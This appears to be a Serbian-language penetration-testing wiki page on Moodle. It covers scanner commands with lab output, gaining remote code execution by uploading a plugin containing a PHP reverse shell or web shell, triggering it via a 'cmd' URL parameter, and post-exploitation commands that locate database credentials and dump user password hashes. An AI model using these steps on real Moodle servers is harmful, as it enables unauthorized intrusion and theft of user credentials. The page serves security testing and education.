# Moodle

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## Automatske Skeniranja

### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)

[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.
```
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs

Otkrio sam da su automatski alati prilično **beskorisni u pronalaženju ranjivosti koje utiču na verziju moodle**. Možete **proveriti** ih na [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)

## **RCE**

Morate imati **menadžersku** ulogu i možete **instalirati dodatke** unutar **"Administracija sajta"** taba**:**

![](<../../images/image (630).png>)

Ako ste menadžer, možda ćete još morati da **aktivirate ovu opciju**. Možete videti kako u moodle privilegijskoj eskalaciji PoC: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).

Zatim, možete **instalirati sledeći dodatak** koji sadrži klasični pentest-monkey php r**ev shell** (_pre nego što ga otpremite, potrebno je da ga dekompresujete, promenite IP i port revshell-a i ponovo ga kompresujete_)

{{#file}}
moodle-rce-plugin.zip
{{#endfile}}

Ili možete koristiti dodatak sa [https://github.com/HoangKien1020/Moodle_RCE](https://github.com/HoangKien1020/Moodle_RCE) da dobijete regularni PHP shell sa "cmd" parametrom.

Da biste pokrenuli zlonamerni dodatak, potrebno je da pristupite:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST

### Pronađite kredencijale baze podataka
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Izvuci akreditive iz baze podataka
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
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